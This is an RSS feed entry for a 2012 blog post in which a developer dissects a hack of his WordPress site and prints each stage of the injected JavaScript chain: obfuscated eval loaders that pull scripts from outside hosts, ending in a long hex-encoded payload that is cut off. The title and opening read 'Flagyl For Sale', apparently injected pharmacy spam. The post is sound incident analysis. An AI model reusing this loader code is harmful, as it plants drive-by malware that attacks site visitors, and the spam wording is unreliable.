<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Elegant Code &#187; Chris Brandsma</title>
	<atom:link href="http://elegantcode.com/author/brandsma/feed/" rel="self" type="application/rss+xml" />
	<link>http://elegantcode.com</link>
	<description></description>
	<lastBuildDate>Tue, 15 May 2012 10:00:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Flagyl For Sale</title>
		<link>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=getting-hacked-and-seven-levels-of-indirection</link>
		<comments>http://elegantcode.com/2012/04/10/getting-hacked-and-seven-levels-of-indirection/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 04:27:49 +0000</pubDate>
		<dc:creator>Chris Brandsma</dc:creator>
				<category><![CDATA[Esoterica]]></category>

		<guid isPermaLink="false">http://elegantcode.com/?p=5068</guid>
		<description><![CDATA[Flagyl For Sale, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers [...]]]></description>
			<content:encoded><![CDATA[<p> <p> <b>Flagyl For Sale</b>, OK, cat out of the bag here, Elegant Code got hacked.&#160; Most likely because someone figured out a username/password on the site.&#160;&#160; That is the boring part.&#160; Blah blah blah, use strong passwords, make sure you don’t have sql injection, js injection, etc.&#160; OK, onto the interesting part!&#160;&#160; What did the hackers do with this untold power (full admin rights to our web site)?&#160; Well, they injected one link.&#160; To a javascript file.&#160; Which loaded another javascript file, which downloaded another,…., which downloaded a Java applet, which seems to load images in the background.</p>  <p>OK, the first link injected into the site (the site master page, or whatever they call it in wordpress php land – I don’t speak much of their language) was this:</p>  <p>[http://geistsweden.eu/wp-cache/]&#160;&#160;&#160;&#160; a link that was kind enough to load this javascript.</p>  <div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">   <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">     <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">function</span> r(s) { <span style="color: #0000ff">var</span> i = 0; <span style="color: #0000ff">var</span> ss = <span style="color: #006080">''</span>; <span style="color: #0000ff">for</span> (i=s.length - 1; i &gt;= 0; i--) { ss += s.charAt(i); } <span style="color: #0000ff">return</span> ss; } <span style="color: #0000ff">try</span> { <span style="color: #0000ff">new</span> document(1111); } <span style="color: #0000ff">catch</span>(e) { x = eval; x(r(<span style="color: #006080">'&quot;=crs &quot;tpircsavaj/txet&quot;=epyt tpircs&lt;\'(etirw.tnemucod'</span>) + <span style="color: #006080">'http://dl.dropbox.com/u/64856372/B4/Controle.js'</span> + r(<span style="color: #006080">')\'&gt;tpircs/&lt;&gt;&quot;'</span>)); }</pre>  </div></div></p>
<p><p>If you can read that, you would actually see it loading another javascript file from DropBox from the following url: [http://dl.dropbox.com/u/64856372/B4/Controle.js] which in turn loads this:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.<span style="color: #0000ff">write</span>(unescape(<span style="color: #006080">'%3Cscript%20src%3D%22http%3A%2F%2Fflyfishers.ch%2Fwp-admin%2FcPanelX%2Findex.php%3Fsetup%3Dd%22%3E%3C%2Fscript%3E'</span>));</pre>  </div></div></p>
<p><p>Using Google Chrome, load up a random web page, right-click and take “Inspect element” somewhere on the document.&#160; Find the console tab, and you can enter in the entire part that matches “unescape(….)” and get the contents.&#160; Magically you get ANOTHER URL:&#160; [http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d].</p></p>
<p><p>Now, that part was easy, now it gets tricky, and long.&#160; Here is the contents of that GET request:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> document.write(<span style="color: #006080">'&lt;sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt src=&quot;http://flyfishers.ch/wp-admin/cPanelX/index.php?setup=d&amp;s=2&amp;r='</span> + Math.floor(100000 + (Math.random()*999999 + 1)) + <span style="color: #006080">'&quot; type=&quot;text/javascript&quot; charset=&quot;iso-8859-1&quot;&gt;&lt;/sc'</span> + <span style="color: #006080">'ri'</span> + <span style="color: #006080">'pt&gt;'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span> <span style="color: #0000ff">function</span> aAwJinPSCPg() { <span style="color: #0000ff">var</span> moqbqYo = <span style="color: #006080">'\x76\x61\x72\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x20\x3d\x20\x27\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d\x27\x3b\x20\x76\x61\x72\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x20\x3d\x20\x27\x66\x3d\x28\x3c\x38\x3d\x3e\x79\x79\x40\x3d\x2b\x29\x29\x38\x37\x3d\x78\x2a\x37\x37\x2e\x79\x27\x3b\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x73\x29\x20\x7b\x20\x76\x61\x72\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x3d\x20\x27\x27\x3b\x20\x76\x61\x72\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x2d\x31\x3b\x20\x76\x61\x72\x20\x63\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x30\x3b\x20\x76\x61\x72\x20\x4a\x52\x74\x7a\x46\x74\x59\x20\x3d\x20\x75\x6e\x65\x73\x63\x61\x70\x65\x28\x73\x29\x3b\x20\x20\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x69\x3d\x30\x3b\x69\x3c\x4a\x52\x74\x7a\x46\x74\x59\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x69\x2b\x2b\x29\x20\x7b\x20\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x29\x3b\x20\x69\x66\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x3e\x3d\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3d\x20\x28\x4e\x63\x69\x70\x63\x54\x62\x4f\x63\x73\x20\x2d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74\x28\x63\x29\x29\x20\x25\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x69\x66\x20\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x3c\x20\x30\x29\x20\x7b\x20\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x20\x7d\x20\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x63\x6c\x52\x65\x4e\x57\x76\x44\x4e\x53\x53\x2e\x63\x68\x61\x72\x41\x74\x28\x6b\x44\x59\x43\x63\x46\x6c\x5a\x45\x6d\x29\x3b\x20\x20\x63\x2b\x2b\x3b\x20\x69\x66\x20\x28\x63\x20\x3e\x3d\x20\x46\x7a\x43\x66\x5a\x6b\x66\x76\x48\x76\x6c\x2e\x6c\x65\x6e\x67\x74\x68\x29\x20\x7b\x20\x63\x20\x3d\x20\x30\x3b\x20\x7d\x20\x7d\x20\x65\x6c\x73\x65\x20\x7b\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x20\x2b\x3d\x20\x4a\x52\x74\x7a\x46\x74\x59\x2e\x63\x68\x61\x72\x41\x74\x28\x69\x29\x3b\x20\x7d\x20\x7d\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x76\x4e\x62\x72\x51\x63\x47\x69\x66\x42\x4a\x3b\x20\x7d\x20\x65\x76\x61\x6c\x28\x62\x6c\x4d\x66\x47\x61\x56\x78\x78\x78\x76\x28\x27\x54\x57\x53\x25\x32\x30\x65\x6a\x69\x5f\x6f\x56\x67\x6e\x6e\x58\x5f\x51\x50\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x6a\x6e\x6b\x48\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x53\x5a\x67\x6b\x6f\x6b\x5f\x52\x62\x59\x49\x55\x55\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x58\x70\x6a\x53\x25\x33\x41\x31\x31\x4a\x2e\x6a\x52\x57\x55\x58\x66\x71\x6b\x6b\x56\x71\x2e\x59\x53\x4f\x6e\x79\x74\x35\x78\x6b\x73\x76\x73\x72\x6a\x5a\x62\x31\x54\x57\x31\x75\x55\x25\x32\x42\x78\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x55\x55\x66\x56\x69\x52\x5f\x66\x42\x71\x52\x6b\x6b\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x59\x73\x70\x54\x25\x33\x41\x6e\x6e\x54\x2e\x69\x70\x51\x57\x53\x65\x62\x65\x52\x61\x53\x2e\x58\x66\x69\x38\x79\x75\x38\x33\x6d\x65\x6c\x32\x71\x37\x76\x6c\x53\x52\x48\x30\x67\x30\x6d\x77\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x72\x58\x69\x25\x32\x30\x61\x72\x69\x5f\x56\x47\x52\x66\x68\x70\x5f\x5a\x44\x6c\x51\x56\x57\x44\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x49\x6f\x6b\x6c\x25\x33\x41\x38\x32\x54\x2e\x72\x70\x45\x56\x45\x66\x6b\x6a\x6a\x48\x68\x2e\x53\x56\x64\x6a\x33\x66\x77\x77\x34\x79\x73\x32\x7a\x37\x6b\x46\x44\x56\x75\x78\x77\x6a\x31\x72\x73\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x25\x32\x46\x6e\x25\x32\x30\x4b\x6e\x64\x5f\x6e\x62\x67\x66\x71\x70\x5f\x50\x51\x43\x55\x55\x5a\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4b\x6a\x6a\x57\x25\x33\x41\x32\x6a\x59\x2e\x54\x6f\x52\x70\x5a\x66\x6c\x6d\x70\x49\x54\x2e\x45\x66\x63\x37\x78\x68\x72\x76\x70\x72\x64\x37\x62\x36\x56\x32\x59\x72\x78\x35\x34\x4a\x6e\x64\x32\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x59\x56\x4e\x6b\x53\x6f\x5f\x63\x6b\x58\x55\x57\x5a\x65\x50\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x53\x2e\x69\x61\x52\x52\x59\x50\x70\x65\x70\x62\x69\x2e\x54\x6e\x69\x70\x6a\x67\x73\x76\x34\x72\x6d\x31\x71\x73\x77\x65\x57\x63\x58\x56\x7a\x36\x32\x73\x25\x32\x42\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x72\x45\x54\x25\x32\x30\x4c\x6a\x63\x5f\x68\x51\x45\x5f\x65\x64\x25\x30\x39\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x6b\x50\x71\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x57\x46\x5f\x43\x45\x54\x55\x6f\x69\x25\x30\x39\x25\x30\x39\x70\x25\x32\x30\x25\x32\x37\x58\x6a\x61\x67\x25\x33\x41\x6a\x37\x47\x67\x70\x62\x66\x6a\x59\x64\x6e\x57\x2e\x45\x4a\x32\x6d\x6c\x2d\x51\x47\x63\x59\x55\x32\x41\x4c\x42\x69\x56\x68\x55\x32\x5a\x6d\x5a\x49\x5a\x2e\x52\x59\x66\x25\x33\x46\x57\x53\x57\x59\x65\x55\x33\x51\x70\x42\x6f\x6a\x5f\x57\x5a\x54\x56\x72\x6f\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x5a\x43\x54\x25\x32\x30\x61\x69\x69\x5f\x62\x44\x52\x5f\x5a\x48\x6d\x25\x32\x46\x6b\x4f\x25\x30\x39\x25\x30\x39\x37\x25\x32\x30\x25\x32\x37\x59\x70\x71\x67\x25\x33\x41\x32\x25\x32\x42\x62\x50\x61\x48\x5a\x69\x64\x55\x55\x69\x2e\x53\x4f\x32\x55\x6c\x2d\x42\x59\x64\x65\x6b\x32\x54\x4f\x57\x52\x47\x4e\x4f\x31\x65\x64\x47\x55\x6e\x2e\x57\x59\x4e\x25\x33\x46\x57\x44\x6f\x5a\x6b\x6b\x33\x6a\x73\x57\x58\x55\x5f\x4c\x52\x6c\x57\x65\x51\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x51\x59\x25\x32\x30\x61\x51\x69\x5f\x4d\x56\x53\x5f\x66\x58\x6d\x52\x6e\x62\x4a\x25\x30\x39\x25\x30\x39\x6f\x25\x32\x30\x25\x32\x37\x4a\x6b\x6a\x6c\x25\x33\x41\x31\x6f\x56\x62\x66\x57\x47\x6f\x49\x5a\x69\x6f\x2e\x5a\x59\x32\x76\x6c\x2d\x45\x46\x4f\x5a\x64\x37\x53\x35\x51\x64\x4c\x63\x38\x37\x4a\x69\x55\x61\x75\x2e\x67\x59\x6f\x25\x33\x46\x57\x47\x56\x4b\x66\x64\x38\x69\x57\x51\x6a\x5a\x5f\x61\x25\x32\x46\x72\x42\x6a\x57\x62\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x73\x52\x69\x25\x32\x30\x69\x6f\x51\x5f\x4e\x43\x53\x5f\x62\x6b\x51\x47\x55\x54\x25\x30\x39\x25\x30\x39\x74\x25\x32\x30\x25\x32\x37\x59\x52\x70\x51\x25\x33\x41\x36\x32\x62\x69\x70\x57\x68\x6f\x4c\x47\x54\x6a\x2e\x53\x64\x31\x5a\x66\x2d\x51\x4b\x64\x47\x6a\x6d\x58\x47\x57\x6b\x56\x63\x57\x37\x4d\x50\x46\x56\x6e\x2e\x6c\x58\x53\x25\x33\x46\x51\x53\x61\x5a\x4d\x6a\x6e\x6e\x6b\x57\x71\x6a\x5f\x63\x6e\x57\x48\x47\x46\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6d\x51\x6e\x25\x32\x30\x5a\x56\x63\x5f\x62\x48\x53\x5f\x4a\x6b\x42\x59\x57\x57\x66\x63\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x67\x70\x58\x52\x25\x33\x41\x6e\x32\x56\x68\x6f\x49\x59\x69\x4f\x56\x50\x6f\x2e\x44\x63\x32\x73\x6d\x2d\x52\x55\x6c\x65\x52\x6e\x45\x47\x51\x6a\x55\x4f\x4e\x31\x50\x65\x42\x61\x59\x2e\x6b\x59\x6c\x25\x33\x46\x58\x54\x6b\x68\x6b\x52\x6f\x55\x6b\x51\x70\x69\x5f\x4f\x65\x51\x4b\x57\x25\x32\x46\x65\x4d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6b\x6b\x45\x46\x47\x55\x25\x30\x39\x25\x30\x39\x25\x30\x39\x32\x25\x32\x30\x62\x51\x4f\x69\x55\x25\x33\x42\x25\x30\x44\x25\x30\x41\x63\x52\x50\x25\x32\x30\x66\x54\x68\x5f\x52\x6c\x6d\x63\x56\x73\x5f\x65\x52\x46\x47\x6f\x25\x30\x39\x32\x25\x32\x30\x78\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x44\x68\x25\x32\x30\x5a\x5a\x64\x5f\x25\x32\x46\x6c\x51\x67\x56\x70\x5f\x5a\x66\x6c\x6d\x70\x25\x30\x39\x71\x25\x32\x30\x65\x63\x72\x25\x33\x42\x25\x30\x44\x25\x30\x41\x6c\x57\x68\x25\x32\x30\x4d\x69\x63\x5f\x48\x67\x4e\x68\x46\x6f\x5f\x67\x6e\x62\x57\x5a\x77\x25\x30\x39\x38\x25\x32\x30\x25\x32\x37\x45\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x58\x43\x69\x25\x32\x30\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x30\x39\x25\x30\x39\x33\x25\x32\x30\x25\x32\x37\x64\x71\x6b\x67\x25\x33\x41\x25\x32\x42\x37\x45\x46\x58\x52\x64\x59\x55\x47\x67\x6b\x48\x63\x47\x70\x5a\x6e\x70\x6f\x71\x56\x64\x2e\x62\x6b\x51\x6e\x76\x56\x6a\x37\x39\x48\x6a\x2e\x66\x4f\x67\x25\x33\x46\x25\x32\x46\x38\x6d\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x71\x52\x6e\x25\x32\x30\x67\x6a\x64\x5f\x6f\x6b\x54\x57\x50\x55\x55\x6e\x5f\x6b\x55\x62\x25\x30\x39\x32\x25\x32\x30\x25\x32\x37\x4f\x6b\x52\x6c\x25\x33\x41\x6d\x36\x54\x61\x69\x6c\x63\x5a\x6e\x46\x51\x4f\x2e\x54\x65\x69\x31\x4d\x69\x31\x4a\x63\x47\x59\x4c\x6b\x66\x6c\x2e\x67\x6a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x46\x49\x32\x5f\x57\x55\x61\x34\x4e\x6c\x4d\x5a\x6b\x51\x4f\x43\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x32\x25\x32\x42\x57\x50\x47\x54\x6b\x25\x32\x38\x5a\x6f\x63\x5f\x44\x66\x66\x53\x56\x52\x5f\x71\x53\x67\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x67\x68\x61\x56\x4c\x6e\x25\x32\x30\x30\x25\x32\x30\x51\x6a\x4b\x5f\x57\x51\x6b\x63\x61\x71\x5f\x5a\x65\x63\x61\x62\x25\x32\x30\x6d\x25\x32\x30\x25\x32\x37\x2e\x4c\x52\x68\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x55\x57\x6b\x68\x55\x25\x32\x30\x61\x51\x69\x5f\x42\x6b\x67\x68\x62\x6b\x5f\x6c\x71\x68\x25\x32\x30\x6f\x25\x32\x30\x4c\x55\x64\x5f\x51\x6c\x66\x4f\x55\x6a\x5f\x57\x69\x43\x62\x4a\x73\x25\x32\x30\x31\x25\x32\x30\x66\x70\x64\x5f\x52\x6f\x6c\x50\x47\x56\x5f\x5a\x64\x5a\x55\x61\x25\x32\x30\x30\x25\x32\x30\x25\x32\x37\x2e\x5a\x48\x69\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x44\x71\x4f\x58\x6b\x65\x6c\x65\x25\x32\x30\x41\x52\x49\x5f\x47\x54\x47\x52\x6a\x61\x25\x32\x46\x49\x68\x51\x54\x56\x25\x32\x38\x51\x6e\x44\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x71\x52\x6e\x25\x32\x30\x66\x57\x69\x5a\x69\x49\x25\x32\x30\x6f\x25\x32\x30\x46\x66\x53\x71\x63\x48\x64\x6a\x2e\x4a\x69\x43\x57\x55\x5a\x38\x68\x62\x64\x56\x6d\x70\x25\x32\x38\x25\x32\x37\x4d\x48\x54\x52\x63\x61\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x49\x68\x51\x54\x56\x2e\x51\x6e\x44\x25\x32\x30\x37\x25\x32\x30\x6a\x6e\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x59\x59\x69\x50\x53\x47\x68\x4a\x6f\x70\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x65\x5a\x55\x63\x61\x52\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x4b\x48\x69\x51\x69\x55\x2e\x56\x6a\x6f\x53\x56\x2e\x42\x65\x54\x6b\x63\x57\x76\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x5a\x6d\x68\x4d\x50\x47\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x56\x6e\x51\x50\x55\x2e\x69\x61\x70\x4a\x61\x2e\x4e\x56\x69\x63\x66\x65\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x7a\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x4a\x54\x43\x64\x55\x2e\x6f\x6a\x62\x62\x55\x2e\x57\x52\x42\x5a\x4a\x69\x58\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x78\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x57\x71\x57\x51\x47\x2e\x55\x6b\x6f\x68\x55\x2e\x45\x65\x68\x4b\x56\x50\x25\x32\x30\x38\x25\x32\x30\x25\x32\x37\x4f\x6a\x65\x61\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x66\x57\x69\x5a\x69\x49\x2e\x55\x56\x70\x62\x61\x2e\x6d\x4c\x54\x6a\x4f\x25\x32\x30\x33\x25\x32\x30\x25\x32\x37\x59\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x65\x47\x6d\x52\x69\x62\x2e\x6a\x6b\x78\x68\x49\x2e\x4a\x47\x5a\x57\x64\x6a\x25\x32\x30\x70\x25\x32\x30\x25\x32\x37\x71\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x4c\x6b\x53\x6e\x4f\x25\x32\x30\x64\x57\x6e\x58\x64\x56\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x65\x71\x52\x45\x56\x5a\x65\x6a\x25\x32\x30\x25\x33\x44\x38\x43\x5f\x53\x59\x56\x25\x32\x46\x70\x46\x4e\x54\x6e\x66\x67\x6b\x25\x32\x38\x72\x6e\x47\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x58\x43\x69\x25\x32\x30\x69\x59\x68\x4c\x66\x6a\x25\x32\x30\x74\x25\x32\x30\x55\x4d\x59\x56\x68\x56\x6a\x71\x2e\x54\x69\x64\x57\x58\x47\x74\x63\x55\x69\x55\x51\x6a\x25\x32\x38\x25\x32\x37\x69\x4a\x69\x47\x6c\x55\x25\x32\x37\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x6e\x54\x6e\x66\x67\x6b\x2e\x73\x75\x54\x47\x25\x32\x30\x6f\x25\x32\x30\x25\x32\x37\x6b\x55\x74\x6a\x6f\x5a\x51\x63\x52\x51\x59\x53\x64\x67\x70\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x70\x54\x69\x68\x6c\x58\x2e\x55\x54\x54\x25\x32\x30\x32\x25\x32\x30\x6f\x68\x46\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x68\x55\x61\x6c\x50\x6a\x25\x32\x30\x54\x58\x69\x65\x6d\x6b\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x57\x74\x6a\x47\x56\x4b\x66\x64\x25\x32\x30\x63\x55\x57\x4e\x43\x35\x25\x32\x46\x52\x70\x51\x4d\x56\x6d\x72\x56\x6a\x73\x25